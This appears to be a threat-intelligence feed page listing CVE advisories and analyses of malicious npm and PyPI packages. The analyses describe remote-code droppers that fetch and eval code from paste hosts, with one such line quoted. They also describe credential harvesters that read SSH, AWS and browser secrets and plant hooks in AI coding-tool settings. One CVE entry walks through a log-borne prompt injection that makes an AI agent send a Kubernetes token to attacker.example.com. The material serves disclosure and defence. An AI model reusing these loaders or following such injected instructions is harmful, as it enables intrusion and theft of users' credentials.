Search: ***-gr*up.com
829 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 6.8 | EPSS 0.4% | CVE-2026-48782pydantic-ai · Server-Side Request Forgery (SSRF) Medium6.8EPSS 0.4%CVE Database V5CVE-2026-48782 ## Summary When an application using Pydantic AI opts a URL into `force_download='allow-local'` (which disables the default block on private/internal IPs) **and runs on a network that routes the affected IPv6 transition forms (NAT64- or ISATAP-configured networks)**, the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form that the previous fix did not decode — IPv4-compatible IPv6 (`::a.b.c.d`), the NAT64 RFC 8215 local-use prefix (`64:ff9b:1::/48`), operator-chosen NAT64 prefixes, or ISATAP. The IPv6 wrapper is then delivered to the underlying IPv4 metadata endpoint, exposing cloud IAM short-term credentials. **The bypass is exploitable only in environments whose network actually routes these forms** — NAT64-configured networks (IPv6-only or dual-stack-with-NAT64 deployments, including some Kubernetes setups) for the NAT64 variants, or networks with an ISATAP tunnel for ISATAP. A standard dual-stack cloud VM or container does not route them and is not affected in practice. The IPv4-compatible and Teredo variants are deprecated and addressed as defense-in-depth. This is an incomplete fix of [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / [CVE-2026-46678](https://nvd.nist.gov/vuln/detail/CVE-2026-46678) (itself a follow-up to [CVE-2026-25580](https://nvd.nist.gov/vuln/detail/CVE-2026-25580)). The prior remediation decoded only IPv4-mapped IPv6, 6to4, and the NAT64 well-known prefix; the metadata guarantee did not hold for the remaining transition forms. ## Severity **MEDIUM** — `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N` = **6.8** Same impact metrics and narrow attack surface as the parent advisory (AC:H): exploitation requires the application to have opted into `allow-local` on a URL influenced by untrusted input, and the NAT64/ISATAP variants additionally require the deployment network to route those forms. **CWE-918**: Server-Side Request Forgery (SSRF) ## Affected Versions | Package | Vulnerable | Patched | |---|---|---| | `pydantic-ai` | `>= 1.56.0, < 1.102.0`; `>= 2.0.0b1, < 2.0.0b3` | `1.102.0`; `2.0.0b3` | | `pydantic-ai-slim` | `>= 1.56.0, < 1.102.0`; `>= 2.0.0b1, < 2.0.0b3` | `1.102.0`; `2.0.0b3` | These transition forms have not been decoded since SSRF protection was introduced in `1.56.0`. ## Who Is Affected Users are affected **only if** their application explicitly opts a `FileUrl` (`ImageUrl`, `AudioUrl`, `VideoUrl`, `DocumentUrl`) into `force_download='allow-local'` on a URL that is, or could be, influenced by untrusted input. Beyond that precondition, the affected encodings only reach a metadata endpoint in environments whose network actually routes them. The broadly-routable IPv4-mapped form was addressed in `1.99.0` (CVE-2026-46678); the additional forms addressed here require a **NAT64-configured network** (IPv6-only or dual-stack-with-NAT64 deployments, including some Kubernetes setups) for the NAT64 variants, or an **ISATAP tunnel** for the ISATAP variant. The IPv4-compatible and Teredo forms are deprecated and not routed by modern stacks; they are addressed as defense-in-depth. Most deployments on a standard dual-stack cloud VM or container are therefore not exploitable in practice, but the fix restores the "always blocked" guarantee for the environments that are. Users are **not** affected if they use any of the bundled integrations to ingest user input, because they do not propagate `force_download` from external data: - `Agent.to_web` / `clai web` - `VercelAIAdapter` - `AGUIAdapter` / `Agent.to_ag_ui` Applications that only download from developer-controlled URLs are not affected. ## Remediation Upgrade to `1.102.0` or later (or `2.0.0b3` or later on the 2.0 pre-release line). The cloud-metadata and private-IP blocklists now decode the embedded IPv4 of every standardized IPv6 transition form before evaluating it — IPv4-mapped, IPv4-compatible, 6to4, NAT64 across all prefix lengths (including the RFC 8215 local-use prefix and operator-chosen prefixes), ISATAP, and Teredo. The set of always-blocked cloud metadata/credential endpoints has also been expanded across providers. ## Workaround for Unpatched Versions Avoid passing `force_download='allow-local'` on any URL that could be influenced by untrusted input. If developers must, resolve the hostname themselves and validate the result against their own metadata blocklist — including IPv6 transition forms — before constructing the `FileUrl`. ## Credits Reported by [@SnailSploit](https://snailsploit.com). | CVE Database V5 | ||
| High | 8.1 | EPSS 0.3% | High8.1EPSS 0.3%CVE Database V5CVE-2026-27333 CVE-2026-27333 is a high-severity vulnerability in VideoWhisper.com's Paid Videochat Turnkey Site affecting versions up to and including 7.3.23. It involves unauthenticated deserialization of untrusted data, which can lead to full compromise of confidentiality, integrity, and availability. No official patch or remediation guidance is currently available from the vendor. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c369ccf7b5e0ef8721b5ecdc94bd843ce260923394f6c513350a58928abdbdd3) On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research/config-audit.js` enumerates every user home directory on the machine (`/Users/*`, `/home/*`, `C:\Users\*`) and reads the canonical installer-secret paths: `.aws/credentials`, `.aws/config`, `.kube/config`, `.docker/config.json`, `.npmrc`, `.yarnrc`, `.pypirc`, `.git-credentials`, `.netrc`, `.ssh/id_*`, `.gitconfig`, all `.env*` files, VS Code GitHub auth state, shell history (`.bash_history`, `.zsh_history`, PSReadLine), and Chromium/Edge `Cookies` SQLite databases (copied to `/tmp/ck-*` and queried for sessions on github.com, gitlab.com, npmjs.com, openai.com, anthropic.com, console.aws.amazon.com, cloud.google.com, huggingface.co). The harvested raw credentials are then transmitted off-host: `validateGithub` sends the GitHub token in an `Authorization` header to `https://api.github.com/user` and `/user/orgs`; npm tokens are written to `/tmp/.rc-audit-*` and validated against `https://registry.npmjs.org/-/whoami`; OpenAI/Anthropic/HuggingFace/Stripe/GitLab tokens are sent to their respective APIs; Google API keys are placed in URL query strings; AWS credentials are exported to env and `aws sts get-caller-identity` is invoked; Redis URI passwords are probed via raw socket AUTH. The provider responses (user identity, scopes, orgs, permissions) are archived locally and the stub `uploader.js` background-upload path is staged for transmission. At module load, `loadManifest()` fetches `https://raw.githubusercontent.com/Itaib24/Claude-/main/claude-jar/research/manifest.json` from a mutable `main` branch with no pin or signature; this manifest controls scan paths, regex patterns, and validator URLs, giving the author a remote-controlled channel to redirect raw tokens to attacker-chosen hosts at any time without republishing the package. `src/cli.js` then writes `mcpServers.claude-session-visualizer` and `hooks.SessionStart`/`PreToolUse`/`PostToolUse` entries into `~/.claude/settings.json` and `~/.cursor/mcp.json`, pointing at `~/.claude-jar/mcp-server.mjs`; `hook-ingest.js` re-runs the full credential audit on every 'high signal' event unless `CLAUDE_JAR_DEEP_ANALYSIS=0`. `fingerprint.js` additionally beacons host geolocation/ISP to `http://ip-api.com/json/` over plain HTTP and combines it with a SHA-256 hostname identifier and environment-richness signals (cloud creds present, browser sessions, registry deploy capability) into a session fingerprint record. The package's `description` and `CLAUDE.md` impersonate Anthropic branding ('Claude Cup — Anthropic worldwide building contest') to lower developer suspicion while installing the persistent recon hooks. The README's claim that the tool 'never stores, transmits, or logs raw credential values' is directly contradicted by the validator code paths. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1b0701ad772209918c78eb4d038cce43946517f3558cbec1988c121c115a641d) node-denv presents itself as a pino-compatible logging middleware (index.js exports `module.exports.pino = middleware` and mimics pino's option shape including DEFAULT_LEVELS, formatters.bindings, redact, and customLevels). When a consumer instantiates the middleware, the package spawns a detached `node lib/caller.js` child process. lib/caller.js performs an HTTPS GET against https://jsonkeeper.com/b/EXSIF, reads the `.cookie` field from the JSON response, and passes it to `new Function.constructor("require", s)` invoked with the real `require` — granting the remotely-fetched JavaScript full Node.js capabilities (filesystem, network, child_process, env). The fetch is retried up to 5 times. A second jsonkeeper.com payload URL (https://jsonkeeper.com/b/ZK45J) is base64-encoded as `DEV_API_KEY` in lib/const.js as a fallback C2. jsonkeeper.com is an anonymous mutable JSON paste host — the attacker can change the executed payload at any time without republishing the package. The pino impersonation lures developers searching for the popular logger into installing this package, at which point any normal use triggers remote code execution on the installer's machine. ## Source: ghsa-malware (39fd50e1c53ebcbf807d385f8a99cca3d059175cf50b3819571029c812e719fb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Critical | 9.8 | EPSS 0.7% | Critical9.8EPSS 0.7%GCVE DatabaseCVE-2026-43037 Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.21.20. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:25185 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/ Security Fix(es): * kernel: ip6_tunnel: clear skb2->cb[] in ip4ip6_err() (CVE-2026-43037) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c11c80cc2d314460d61a649c84fd75881388470382be8183b77b362e562a5c7f) On `import nagios_xi`, the package's `__init__.py` (lines 5-8) invokes `socket.gethostbyname("atlass-check.autaeqjhfowvnnmkwhxjtq8x39d8nder1.oast.fun")` inside a silent try/except. oast.fun is ProjectDiscovery's Interactsh out-of-band callback service; the DNS query itself is the exfiltration channel, confirming code execution on the installer's host and leaking the resolver IP to whoever controls the unique 32-character Interactsh subdomain. The package ships no actual functionality — it impersonates the Nagios XI commercial monitoring product (name `nagios-xi`, version `19.5.0` mimicking real Nagios XI versioning) while declaring an anonymous ProtonMail author (`Coding Team <pocbug@protonmail.com>`), a generic `package utility` description, and an empty README. The combination of brand impersonation, placeholder metadata, and an import-time OAST beacon as the package's sole behavior is reconnaissance for a supply-chain attack against developers searching for Nagios XI integrations. ## Source: kam193 (d8b27c2588accf4f2966f4630a12f9bfdc4ba621403f14237160632447152f23) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation. | GCVE Database | |||
| Medium | 6.1 | EPSS 0.4% | CVE-2026-47250Flux159 mcp-server-kubernetes · Argument Injection Medium6.1EPSS 0.4%CVE Database V5CVE-2026-47250 mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-25680SUSE · Security update for trivy Medium6.5EPSS 0.3%GCVE DatabaseCVE-2026-25680 This security update for the Trivy vulnerability scanner addresses multiple security issues in various Go libraries used by the software, including golang.org/x/net/html, golang.org/x/net/http2, golang.org/x/net/idna, and golang.org/x/crypto/ssh. The vulnerabilities include infinite loops, denial of service (DoS), privilege escalation, authentication bypass, memory leaks, and panic conditions. The update also includes a fix for improper input handling in github.com/go-git/go-billy/v5 that could lead to DoS. The update is delivered in Trivy version 0.71.0 and includes additional feature enhancements and dependency upgrades. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cad3d2732831e4b798073aff289abd1abdbb718b4caa9e4f970a0dd3f7733653) package.json declares a postinstall hook (`node -e "require('./loader.js')"`) that runs automatically on every `npm install`. loader.js hex-decodes the string `68747470733a2f2f6a736f6e6b65657065722e636f6d2f622f4c34333541` to the URL `https://jsonkeeper.com/b/L435A`, fetches a JSON document from that anonymous paste host, extracts a `manifest.session` field, writes it to a temporary file under `os.tmpdir()/wpc-*/cfg-<ts>.js`, `require()`s it to execute the attacker-supplied JavaScript, then deletes the file to hide traces. The dropper is launched via `spawn(process.execPath, [tmpFile], { detached: true, stdio: 'ignore', cwd: os.tmpdir() }).unref()` so the child Node process outlives the npm install and runs without producing visible output. The package presents itself as a webpack caching helper (class `WebpackCachePlugin` in index.js, a README that instructs `npm install cache-helper` — a different name suggesting impersonation), but the advertised plugin code is trivial; the real behavior is the install-time dropper. Every installer fetches and executes attacker-controlled, mutable, unauthenticated code from a paste host with no integrity verification. ## Source: ghsa-malware (d7b500c1184a1672761308f47bfc568ca655c25f74ae4fad0c56093ce02421ef) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0ce40276c3c58337b7db3272f89e0716b017b4d63bfa625b8757b9d1969ec9f9) The package masquerades as an 'Autodesk Forge' integration but ships no Forge API code. On `npm install`, `scripts/postinstall-agent.mjs` materializes a durable copy of the package outside node_modules (under a hidden `.forge-jsxyz/runtime/` directory), spawns `dist/cli-agent.js` as a detached, unrefed background process, and registers OS autostart (launchd/systemd/Windows Run) so the agent survives `npm uninstall`. The agent's relay WebSocket destination is concealed via AES-256-GCM with a key reconstructed from XOR-obfuscated halves embedded in `dist/deploymentCipherData.js`; a leftover diagnostic script (`scripts/windows-forge-diagnostics.ps1`) reveals the hidden host as `212.193.3.61:9877`. Once connected, the agent (1) walks the entire filesystem (`/` on POSIX, every drive on Windows) via `dist/secretScan/agentStartupAudit.js` looking for BIP39 mnemonics, secp256k1 private keys, BIP32 xprv/zprv, and WIF keys, then uploads results including the secret material to an attacker-controlled HuggingFace repo at `agents/<hostname>/result.json`; (2) enumerates every local user profile and recursively copies Chromium-family `Local Extension Settings/<extension_id>/` and `IndexedDB/chrome-extension_*` LevelDB trees (where MetaMask and other wallet extensions store keys) via `dist/chromiumExtensionDbHarvest.js` and uploads them to HuggingFace via `dist/extensionDbHfUpload.js`; (3) periodically captures desktop screenshots (10–600s interval) and relays them to a Discord channel via `dist/discordRelayUpload.js` using `https://discord.com/api/v10`; (4) exposes a remote filesystem read/write explorer and keyboard/clipboard injection (`fsProtocol.js`, `filesExplorer.js`, `windowsInputSync`, `win32InputNative`) to the relay operator, gated only by a default password baked into the encrypted bundle. ## Source: ghsa-malware (cdda3bc454a770043918f1aa9dd3a90ab538733787b052229819c1eeca3488b9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Low | 3.3 | EPSS 0.1% | CVE-2026-47712jelmer dulwich · Path Traversal Low3.3EPSS 0.1%CVE Database V5CVE-2026-47712 ### Impact dulwich.porcelain.format_patch(outdir=...) derives each patch filename from the commit's subject line. Prior to this fix, get_summary only replaced spaces with dashes - path separators (/, \), parent-directory components (..), and other filename-hostile characters (e.g. :) were preserved verbatim and passed straight into os.path.join(outdir, f"{i:04d}-{summary}.patch"). A malicious commit subject could therefore direct the generated patch file outside the requested outdir. Reduced examples: - x/../../x produced <outdir>/0001-x/../../x.patch, resolving two directories above outdir. - x\..\..\x produced the equivalent escape on Windows, here \ is also a path separator. Related issues from the same root cause: - Subjects containing characters that are illegal in Windows filenames (e.g. :) caused format_patch to fail outright on Windows, where git would have succeeded. - Very long subjects produced excessively long filenames that could exceed filesystem limits; git truncates them. Anyone calling porcelain.format_patch (or the dulwich format-patch CLI) against untrusted commits - for example, a service that runs format-patch over user-supplied repositories or pull requests - could have patch files written to attacker-chosen locations within the process's write permissions. ### Patches Fixed in Dulwich 1.2.5. Users should upgrade. dulwich.patch.get_summary now mirrors git's format_sanitized_subject: only `[A-Za-z0-9._]` are kept, runs of other characters collapse to a single -, consecutive . collapse to a single ., trailing ./- are stripped, and the result is length-limited. This makes the returned string safe to embed as a filename component, so format_patch can no longer be steered out of outdir via the commit subject. ### Workarounds Until upgrading, callers that pass untrusted commits to porcelain.format_patch can: - Use stdout=True and write the patch to a destination they control, rather than letting format_patch choose the filename. - Validate the chosen path before opening - e.g. compare os.path.realpath(returned_path) against os.path.realpath(outdir) and reject any patch whose resolved path is not inside outdir. - Pre-screen commits and refuse to format any whose subject's first line contains /, \, .., or other characters that are not safe on the target filesystem. ### Resources - Fix commit: https://github.com/jelmer/dulwich/commit/c2446e51b - Affected API: dulwich.porcelain.format_patch / dulwich format-patch - Reference behavior: git's format_sanitized_subject in pretty.c | CVE Database V5 | ||
| High | 8.8 | EPSS 0.6% | CVE-2026-42305jelmer dulwich · Path Traversal High8.8EPSS 0.6%CVE Database V5CVE-2026-42305 ## Impact Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows. Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax: - \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree. - : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check. - git~<digits> — NTFS 8.3 short-name aliases of .git. Only the literal git~1 was rejected; git~2, git~10, GIT~1, etc. were all accepted. Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected. Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication. ## Patches Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later. The fix lives in three commits: - Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored. - Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1. - Reject \, :, and all git~<digits> 8.3 short-name forms in validate_path_element_ntfs. ## Workarounds There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required. ## Resources - Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path) - CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default - CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue | CVE Database V5 | ||
| Medium | 6.1 | EPSS 1.3% | CVE-2026-0273Palo Alto Networks PAN-OS · OS Command Injection Medium6.1EPSS 1.3%CVE Database V5CVE-2026-0273 A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability. | CVE Database V5 | ||
| Medium | 6.0 | EPSS 0.3% | CVE-2026-0272Palo Alto Networks PAN-OS · Missing Authorization Medium6.0EPSS 0.3%CVE Database V5CVE-2026-0272 A privilege escalation vulnerability in Palo Alto Networks PAN-OS® software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges. The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW, and Prisma® Access are not impacted by this vulnerability. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (db767edd3581eec08793cb669f0ec59351e61f31501b6d4287b86baea512bb63) Package impersonates the popular pino logger (homepage points to getpino.io, description mimics pino's tagline) and executes a remote-code-execution dropper on import. lib/writer.js — loaded transitively by the main entry pino.js — performs require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r => { eval(r.data.content_o); }), passing arbitrary attacker-controlled JavaScript fetched from an anonymous, mutable paste host directly to eval at module load time. Before the eval fires, writer.js assembles a data object containing the full process.env, os.platform(), os.hostname(), os.userInfo().username, and non-internal MAC addresses, which is in scope for the eval'd payload. A second hex-encoded channel is hidden in writer.js: byte arrays decode to the strings 'axios', 'get', 'then', and the URL https://www.jsonkeeper.com/b/HY6M6 — a backup fetch endpoint concealed from trivial source greps. Any project that runs require('react-pinojs') (or imports it) executes attacker-controlled code with access to the installer's environment variables, hostname, username, and MAC addresses. ## Source: ghsa-malware (f068b4f747b0fdc8dbacf62b3360a153e24292db9eb67d5e99f415eb900060de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3cc7d54b0e30e24367551e3f19ab7387cf397cf9e1b5889c9f04ff871c771c38) The package installs okite-setup.pth, which Python auto-loads on every interpreter start. The.pth file contains a one-line obfuscated exec() of a string program (variables reduced to one- and two-character names like _o, _s, _u, _b, _z, _zf) that performs urllib.request.urlretrieve against https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{platform}-{arch}.zip, extracts the Bun JavaScript runtime to /tmp/b/bun, chmods it 0755, and runs a sibling _index.js (with a glob fallback `*/_index.js`) via subprocess as `bun run _index.js`. Execution is gated only by a /tmp/.bun_ran sentinel so it fires once per temp directory lifetime. The stated package purpose is "A Pythonic RPC package" — there is no legitimate reason an RPC library would fetch and execute an alternate language runtime, and routing the payload through Bun deliberately bypasses Python-level inspection of the actual behavior. The combination of (a) execution at every interpreter start via.pth abuse, (b) outbound fetch of a runtime from a third-party release host, (c) use of that runtime to execute a bundled JS file, and (d) heavy obfuscation in a file format that should contain only `import` statements is an unambiguous alternate-runtime-dropper pattern. ## Source: kam193 (ec7e17ca2529781ce61d69b2d7e765c5e3e790d3ae2e2f187b006d710d7f9ed1) Versions 0.0.7, 0.0.8 were compromised. Compromised packages start an obfuscated infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collectes all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions | GCVE Database | |||
| Medium | 6.0 | EPSS 0.2% | CVE-2026-11326OpenAI Atlas · Improper Access Control Medium6.0EPSS 0.2%CVE Database V5CVE-2026-11326 OpenAI Atlas versions before 1.2025.288.15 exposed privileged browser APIs to web content on *.openai.com domains. A cross-site scripting vulnerability on forum.openai.com could exploit this exposure to access browser history and control tabs. Version 1.2025.288.15 restricts these APIs to *.chatgpt.com, mitigating the issue. Users should upgrade to this version or later to address the vulnerability. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General A sophisticated multi-stage malware campaign targets victims through tax-themed phishing emails impersonating Indian and Japanese government authorities. The operation leverages social engineering, fraudulent tax notifications, and trusted third-party email delivery services to distribute ZIP archives containing three staged payloads. The malware implements advanced evasion techniques including DLL Search Order Hijacking, API hooking, token manipulation, Mersenne Twister-based execution logic, COM callback execution, mutated RC4 encryption, and reflective PE loading. Execution occurs primarily in memory, significantly reducing forensic artifacts. The malware establishes persistent WebSocket-based command-and-control communication through HTTP protocol upgrades, allowing malicious traffic to blend with legitimate activity. Chinese-language artifacts were observed throughout the infrastructure and code, though attribution remains at moderate confidence. The campaign demonstrates characteristics of a mature, ... | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A new extortion group called Pink, tracked as cluster CL-CRI-1147, employs voice phishing and fake IT helpdesk impersonation to compromise organizations. The gang steals employee credentials, bypasses multi-factor authentication, and exfiltrates data from cloud storage platforms like SharePoint and OneDrive. Pink threatens to leak stolen information unless ransom demands are met, setting 72-hour deadlines. The group's data-leak site launched on May 31, 2026. This approach mirrors tactics popularized by Lapsus$, Scattered Spider, and ShinyHunters. Incident responders link Pink to The Com, a loosely connected network of English-speaking hackers and extortionists. Attackers use compromised victim accounts and internal Teams messages for extortion communications, reusing domains across multiple targets. | AlienVault OTX General | |||
| High | 7.5 | EPSS 0.9% | CVE-2026-33811Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update High7.5EPSS 0.9%GCVE DatabaseCVE-2026-33811 Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.19.48. See the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:68540 Security Fix(es): * net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME (CVE-2026-33811) * encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (CVE-2026-33818) * net/mail: golang: Go net/mail: Denial of Service via crafted email inputs (CVE-2026-39820) * golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821) * net/mail: golang: net/mail: Denial of Service via pathological email address parsing (CVE-2026-42499) * mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504) * html/template: golang: Go html/template: Cross-Site Scripting via pathological input (CVE-2026-56858) * encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue (CVE-2026-56859) * net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution (CVE-2026-56860) * crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (CVE-2026-56862) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.19 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.19/html-single/updating_clusters/index#updating-cluster-cli. | GCVE Database |
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